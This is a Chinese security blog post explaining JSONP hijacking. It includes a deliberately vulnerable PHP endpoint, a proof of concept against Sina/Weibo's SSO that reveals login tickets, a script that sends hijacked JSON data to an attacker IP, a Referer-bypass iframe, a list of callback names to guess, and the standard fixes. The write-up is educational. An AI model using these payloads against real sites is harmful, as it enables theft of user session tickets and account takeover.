N0rth3ty's Blog.

JSONP劫持

字数统计: 1.4k阅读时长: 5 min
2019/01/17 Share

JSONP劫持

因为同源策略的存在,很多时候我们需要跨域,除开CORS跨域,我们还常用JOSNP跨域。

JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

JSONP劫持又为“ JSON Hijacking ”,这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS,在用户Cookie未过期的情况下,Json中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点。

它通常出现在一个使用了回调函数的接口当中

例如这样一个获取id和用户名的接口

1
2
3
4
5
6
7
8
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

这里的回调函数是根据你的请求参数决定的,然后将获取到的JSONP数据直接插入到script标签中就能执行回调函数达到跨域的目的

但是这样就会带来劫持的问题

乌云漏洞编号204941

是一个微博的JSONP劫持

这是接口调用

1
http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253

在已登陆的情况下访问这个接口会返回uid,可用于登陆

所以jsonp劫持本质上仍是一个csrf

区别在于csrf一般是盗用cookie去发送一些请求,常见的比如修改密码删除文章一类

但jsonp劫持在于盗用你的cookie去访问接口,然后拿到这个接口的数据,或者由于自定义回调函数的问题触发反射型的xss

上述接口的返回值为

1
sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});

可以看到这里有很多敏感信息
这些敏感信息可以用于登陆,比如通过如下接口

1
http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0

然后这是给出的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<html>
<h4><center>weibo jsonp劫持演示</center></h4>
<body>
<script>
var test = function(obj){
alert('uid: ' + obj.uid);
alert('nickname: ' + obj.nick);
alert('ticket: ' + obj.ticket);
}
var s=document.createElement('script');
s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
document.body.appendChild(s);
</script>
</body>
</html>

(这里回调的是自己写的test函数用于漏洞证明
实际的exp中会将敏感信息保存利用
常见exp

1
2
3
4
5
6
7
8
9
10
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://192.168.192.120/" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>

劫持成功时我们可以在日志中获取到敏感信息

需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

回调函数是动态,主要有以下几类情况:

  • 完全可控(GET变量)
    回调函数在URL中指定,我们可以完全控制它。
  • 部分可控
    比如附加动态的数字,每个会话都不同
    如果附加的数字比较短,可以遍历创建回调函数。
  • 完全可控,但是没有显示在原始请求中(不知道参数名)
    最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。
    这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。
    因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
    如果我们有以下API调用http://10.59.0.248/1.php,我们可能会尝试猜测回调变量:
    http://10.59.0.248/1.php?callback=test
    http://10.59.0.248/1.php?cb=test
    其他的还有func、function、call、jsonp、jsonpcallback等等。

常见的修复方案:

  • Referer正则匹配
    常见的有Referer匹配正则编写错误导致正则绕过。
    另外在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。
    1
    <iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>

这样就可以发送一个没有refer的请求

  • 添加Token
  • 放弃使用Jsonp跨域获取数据,使用CORS或者PostMessage

参考 http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

CATALOG
  1. 1. JSONP劫持